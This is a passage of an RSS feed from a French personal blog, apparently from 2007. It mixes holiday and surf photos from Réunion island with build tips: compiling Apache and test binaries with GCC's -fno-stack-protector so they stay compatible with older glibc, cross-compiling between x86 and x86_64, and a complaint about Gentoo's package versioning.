avant de me coucher voici une petite photo que j'ai pris il y a quelque temps au &lt;a href=&quot;http://webfault.org/index.php?tag/Zegrette&quot;&gt;Zegrette&lt;/a&gt; (en hiver :) ) chez moi à &lt;a href=&quot;http://webfault.org/index.php?tag/l%C3%AEle%20de%20la%20r%C3%A9union&quot;&gt;l'île de la réunion&lt;/a&gt;.
&lt;img src=&quot;http://webfault.org/public/IMG_0150.jpg&quot; alt=&quot;Belle photo des zegrette&quot; /&gt;&lt;/p&gt;


&lt;p&gt;Inspiration?&lt;/p&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Compiler Apache sans SSP</title>
    <link>http://webfault.org/post/2007/09/16/Compiler-Apache-sans-SSP</link>
    <guid isPermaLink="false">urn:md5:d5479b129953074cc9daa2091c1dcb57</guid>
    <pubDate>Sun, 16 Sep 2007 10:44:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>Portage / Cross dev</category>
        <category>Apache</category><category>APR</category><category>SSP</category>    
    <description>    &lt;p&gt;Un autre petit tip pour compiler &lt;a href=&quot;http://webfault.org/index.php?tag/Apache&quot;&gt;Apache&lt;/a&gt; 1.3 sans &lt;a href=&quot;http://webfault.org/index.php?tag/SSP&quot;&gt;SSP&lt;/a&gt;.&lt;/p&gt;

&lt;pre&gt;
$ ./configure --prefix=/je/sais/pas --exec-prefix=/je/sais/pas --enable-module=so
$ make CC=&amp;quot;gcc -fno-stack-protector -DEAPI&amp;quot; LD=&amp;quot;ld -fno-stack-protector&amp;quot;
$ readelf -a src/httpd | grep stack_chk
&lt;/pre&gt;


&lt;p&gt;Et voila plus de &lt;a href=&quot;http://webfault.org/index.php?tag/SSP&quot;&gt;SSP&lt;/a&gt; dans &lt;a href=&quot;http://webfault.org/index.php?tag/Apache&quot;&gt;Apache&lt;/a&gt; :)&lt;/p&gt;


&lt;p&gt;Pour &lt;a href=&quot;http://webfault.org/index.php?tag/Apache&quot;&gt;Apache&lt;/a&gt; &amp;gt; 2.0 et pour &lt;a href=&quot;http://webfault.org/index.php?tag/APR&quot;&gt;APR&lt;/a&gt; il ne faut pas utiliser CC et LD mais CFLAGS, et LDFLAGS.
En fait à l'époque Apache 1.3 ne gérait pas ces deux dernières variables.&lt;/p&gt;

&lt;pre&gt;
$ make CFLAGS='-fno-stack-protector' LDFLAGS='-fno-stack-protector'
&lt;/pre&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Carton rouge pour Gentoo</title>
    <link>http://webfault.org/post/2007/09/16/Carton-rouge-pour-Gentoo</link>
    <guid isPermaLink="false">urn:md5:634320c7031fef476590eefafea335b3</guid>
    <pubDate>Sun, 16 Sep 2007 10:10:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>Portage / Cross dev</category>
        <category>Apache</category><category>Gentoo</category>    
    <description>    &lt;p&gt;&lt;a href=&quot;http://webfault.org/index.php?tag/Gentoo&quot;&gt;Gentoo&lt;/a&gt; farci &lt;a href=&quot;http://webfault.org/index.php?tag/Gentoo&quot;&gt;Gentoo&lt;/a&gt; farça!&lt;/p&gt;


&lt;p&gt;Bon je suis un peut dégouté de Gentoo car au départ,  je m'attendais à un système de versionning fiable au niveau du portage et en fait rien, non seulement les références des packages sont perdues mais les sources finissent par disparaitre des mirrors &lt;a href=&quot;http://webfault.org/index.php?tag/Gentoo&quot;&gt;Gentoo&lt;/a&gt;. En gros, impossible de faire tourner une vieille gentoo.&lt;/p&gt;


&lt;p&gt;Autre chose pas cool, impossible d'emergeR une vieille version d'autoconf genre la 2.53 ou 2.13 &lt;strong&gt;nécessaire&lt;/strong&gt; pour compiler différentes versions d'&lt;a href=&quot;http://webfault.org/index.php?tag/Apache&quot;&gt;Apache&lt;/a&gt;.
Comme dit un pote, comment on peut faire tourner des &lt;a href=&quot;http://webfault.org/index.php?tag/Gentoo&quot;&gt;Gentoo&lt;/a&gt; en production&amp;nbsp;? :(&lt;/p&gt;


&lt;p&gt;On est loin des Ports de FreeBSD.&lt;/p&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Hermitage - Reunion island</title>
    <link>http://webfault.org/post/2007/09/14/Hermitage-Reunion-island</link>
    <guid isPermaLink="false">urn:md5:8ac9f0871dbbeeab51b372622f490083</guid>
    <pubDate>Fri, 14 Sep 2007 22:16:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>Bodyboard / Surf</category>
        <category>barrel</category>    
    <description>    &lt;p&gt;Beau &lt;a href=&quot;http://webfault.org/index.php?tag/barrel&quot;&gt;barrel&lt;/a&gt; à l'hermitage (ile de la reunion) avec Franck, un pote, dedans :)
&lt;img src=&quot;http://webfault.org/data/surf/hermitage/2007_08_08_tit_vague_1_5m/IMG_1463.png&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;mv-&lt;/em&gt;&lt;/p&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Compiler depuis un x86 vers un x86_64 avec GCC</title>
    <link>http://webfault.org/post/2007/09/14/Compiler-depuis-un-x86-vers-un-x86_64-avec-GCC</link>
    <guid isPermaLink="false">urn:md5:6c72938397aec219e076d5e6a6fcd1da</guid>
    <pubDate>Fri, 14 Sep 2007 16:19:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>Portage / Cross dev</category>
        <category>ARM</category><category>ELF</category><category>GCC</category><category>x86</category><category>x86_64</category>    
    <description>    &lt;p&gt;Au départ je pensais que la compilation d'un fichier &lt;a href=&quot;http://webfault.org/index.php?tag/ELF&quot;&gt;ELF&lt;/a&gt; &lt;a href=&quot;http://webfault.org/index.php?tag/x86_64&quot;&gt;x86_64&lt;/a&gt; puis un &lt;a href=&quot;http://webfault.org/index.php?tag/x86&quot;&gt;x86&lt;/a&gt; demandait forcément une cross compilation (CBUILD) d'un toolchain x86_64. Et en fait pas du tout, visiblement &lt;a href=&quot;http://webfault.org/index.php?tag/GCC&quot;&gt;GCC&lt;/a&gt; intégre par défaut la possibilité de compiler vers un x86_64 depuis un x86 (et inversement) par contre pour changer totalement de processeur, typiquement de l'&lt;a href=&quot;http://webfault.org/index.php?tag/ARM&quot;&gt;ARM&lt;/a&gt;, il est nécessaire de cross compiler des toolchain et là c'est pas la même histoire...&lt;/p&gt;


&lt;p&gt;Un petit test :&lt;/p&gt;
&lt;pre&gt;root@zef:~# gcc -o test.bin test.c -m64
root@zef:~# file test.bin
test.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked (uses shared libs), not stripped
root@zef:~# gcc -o test.bin test.c -m32
root@zef:~# file test.bin
test.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked (uses shared libs), not stripped&lt;/pre&gt;


&lt;p&gt;Il faut savoir un truc c'est que ça ne fonctionne pas toujours. Par exemple si vous voulez compiler Apache 1.3 depuis un x86 vers du x86_64 eh bien cela ne sera pas possible car le Makefile d'Apache peut compiler des fichiers puis les executer pendant la compilation.
La solution c'est d'avoir un CHOST x86_64 + support lib32 qui compile pour du x86_64 et x86.&lt;/p&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>GCC et le SSP</title>
    <link>http://webfault.org/post/2007/09/14/Test</link>
    <guid isPermaLink="false">urn:md5:78d3cfc1b8c8d4dc043046f56f6056b6</guid>
    <pubDate>Fri, 14 Sep 2007 15:48:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>Portage / Cross dev</category>
        <category>GCC</category><category>glibc</category><category>SSP</category>    
    <description>    &lt;p&gt;Depuis la version 2.4 de la &lt;a href=&quot;http://webfault.org/index.php?tag/glibc&quot;&gt;glibc&lt;/a&gt; des symboles de controle ( comme __stack_chk_fail ) sont intégrés par defaut dans tous les binaires compilés.
C'est le &lt;a href=&quot;http://webfault.org/index.php?tag/SSP&quot;&gt;SSP&lt;/a&gt; dans &lt;a href=&quot;http://webfault.org/index.php?tag/GCC&quot;&gt;GCC&lt;/a&gt; qui est responsable de cette action et il est possible de désactiver ce &lt;a href=&quot;http://webfault.org/index.php?tag/SSP&quot;&gt;SSP&lt;/a&gt; avec l'option &lt;strong&gt;-fno-stack-protector&lt;/strong&gt;.&lt;/p&gt;


&lt;p&gt;Un petit code C comme exemple&amp;nbsp;:&lt;/p&gt;
&lt;code class=&quot;c&quot;&gt;&lt;span style=&quot;color: #339933;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #339933;&quot;&gt;#include &amp;lt;pthread.h&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #993333;&quot;&gt;int&lt;/span&gt; main&lt;span style=&quot;color: #66cc66;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #66cc66;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #66cc66;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pthread_mutex_t fastmutex = PTHREAD_MUTEX_INITIALIZER;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pthread_mutex_lock&lt;span style=&quot;color: #66cc66;&quot;&gt;&amp;#40;&lt;/span&gt;&amp;amp;fastmutex&lt;span style=&quot;color: #66cc66;&quot;&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.opengroup.org/onlinepubs/009695399/functions/printf.html&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;color: #66cc66;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;quot;Tst&lt;span style=&quot;color: #000099; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #66cc66;&quot;&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; pthread_mutex_unlock&lt;span style=&quot;color: #66cc66;&quot;&gt;&amp;#40;&lt;/span&gt;&amp;amp;fastmutex&lt;span style=&quot;color: #66cc66;&quot;&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span style=&quot;color: #66cc66;&quot;&gt;&amp;#125;&lt;/span&gt;&lt;/code&gt;


&lt;p&gt;Ensuite on teste&amp;nbsp;:&lt;/p&gt;
&lt;pre&gt;
none@zef:~# gcc -O2 -o test.bin test.c
none@zef:~# readelf -a test.bin | grep _stack_
080496c8  00000507 R_386_JUMP_SLOT   00000000   __stack_chk_fail
     5: 00000000    70 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3)
    75: 00000000    70 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@@GLIBC_2
none@zef:~# gcc -O2 -fno-stack-protector -o test.bin test.c
none@zef:~# readelf -a test.bin | grep _stack_
none@zef:~# 
&lt;/pre&gt;


&lt;p&gt;Ca rend de fait portable le binaire pour des glibc &amp;gt; 2.3 :)&lt;/p&gt;

&lt;pre&gt;
none@zef:~# file /lib/libc-2.5.so
/lib/libc-2.5.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, stripped
none@zef:~# gcc -O2 -o test.bin test.c
none@zef:~# readelf -a test.bin | grep -i GLIBC_2.4
     5: 00000000    70 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3)
  004:   2 (GLIBC_2.0)     3 (GLIBC_2.4)     2 (GLIBC_2.0)     1 (*global*)
  0x0010:   Name: GLIBC_2.4  Flags: none  Version: 3
none@zef:~# gcc -O2 -fno-stack-protector -o test.bin test.c
none@zef:~# readelf -a test.bin | grep -i GLIBC_2.4
none@zef:~#
&lt;/pre&gt;</description>
    
    
    
      </item>
    
</channel>
</rss>